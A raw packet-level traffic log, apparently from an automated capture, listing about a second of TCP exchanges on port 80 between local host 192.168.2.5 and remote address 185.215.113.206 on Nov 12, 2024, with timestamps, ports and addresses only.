Nov 12, 2024 08:30:13.198427916 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.198925972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.198971987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.199084997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.199095964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.199134111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.199783087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.199795961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.199805975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.199825048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.199851036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.200453997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.200465918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.200504065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.201090097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.201134920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.243948936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.244014025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.244122028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.244136095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.244174957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.244743109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.244755983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.244786024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.244810104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.245265961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.245282888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.245315075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.245331049 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.316299915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.316349030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.316356897 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.316387892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.316433907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.316478014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.316750050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.316760063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.316802025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.317167044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.317214012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.317476988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.317487001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.317523003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.317878008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.317897081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.317923069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.317953110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.318552017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.318564892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.318603039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.318614006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.319247961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.319261074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.319272041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.319298983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.319308043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.319901943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.319941998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.362860918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.362915993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.362981081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.363085032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.363333941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.363346100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.363387108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.364001989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.364012957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.364052057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.435775042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.435882092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.435900927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.435928106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.435942888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.435965061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.436578989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.436590910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.436769962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.437177896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.437194109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.437242985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.437865019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.437877893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.437886953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.437905073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.437938929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.438548088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.438558102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.438601971 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.439224005 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.439234972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.439275980 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.439896107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.439943075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.494337082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.494518995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.494523048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.494534969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.494566917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.494590044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.495143890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.495155096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.495193958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.495755911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.495807886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.553864956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.553951979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.554043055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.554054022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.554095030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.554105997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.554467916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.554476976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.554517031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.554856062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.554867983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.554904938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.555428982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.555476904 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.555548906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.555598021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.555922985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.555933952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.555977106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.556610107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.556622028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.556638002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.556658983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.556680918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.557282925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.557302952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.557332039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.557352066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.557969093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.557987928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.557998896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.558011055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.558017969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.558027983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.558056116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.600434065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.600481033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.600558996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.600593090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.613518000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.613531113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.613543034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.613596916 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.613631964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.613974094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.614025116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.614238024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.614249945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.614284992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.672775030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.672933102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.672945976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.672946930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.672976017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.672987938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.673302889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.673347950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.673660994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.673675060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.673711061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.674236059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.674282074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.674431086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.674443960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.674480915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.675115108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.675133944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.675146103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.675168037 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.675179005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.675807953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.675821066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.675858974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.676501989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.676516056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.676525116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.676554918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.676569939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.677181005 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.677195072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.677206039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.677223921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.677236080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.732426882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.732439995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.732450962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.732526064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.732541084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.732800961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.732814074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.732852936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.733388901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.733438015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.775929928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.776021957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.776032925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.776066065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.791819096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.791831017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.791847944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.791873932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.791888952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.792232037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.792279005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.792459965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.792470932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.792510986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.792916059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.792927980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.792967081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.792979956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.793484926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.793529987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.793647051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.793658972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.793690920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.793701887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.794344902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.794363022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.794392109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.794403076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.795030117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.795042992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.795052052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.795078993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.795104027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.795722961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.795736074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.795772076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.796370029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.796381950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.796421051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.835921049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.835978985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.836010933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.836057901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.851178885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.851233006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.851391077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.851401091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.851561069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.851722956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.851735115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.851768970 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.852365017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.852406979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.910372019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.910535097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.910588980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.910599947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.910641909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.910657883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.910923958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.910988092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.911211967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.911256075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.911288023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.911331892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.911643028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.911653996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.911690950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.912328959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.912342072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.912370920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.912395954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.913007021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.913021088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.913032055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.913055897 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.913079977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.913522005 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.913535118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.913573027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.914201021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.914213896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.914225101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.914243937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.914268017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.914895058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.914911985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.914942980 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.914961100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.915520906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.915532112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.915566921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.915576935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.970264912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.970352888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.970494986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.970504999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.970547915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.970817089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.970829964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.970866919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.971405029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.971452951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.971554041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.971565962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.971600056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.971611977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.972202063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.972248077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.029436111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.029611111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.029623032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.029644966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.029645920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.029676914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.030112982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.030173063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.034498930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.034509897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.034521103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.034584045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.034944057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.034956932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.034980059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.035011053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.039258003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.039271116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.039330006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.039696932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.039710045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.039720058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.039747000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.039774895 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.044059992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.044073105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.044121981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.044409037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.044421911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.044431925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.044456005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.044491053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.071839094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.071929932 CET	49704	80	192.168.2.5	185.215.113.206
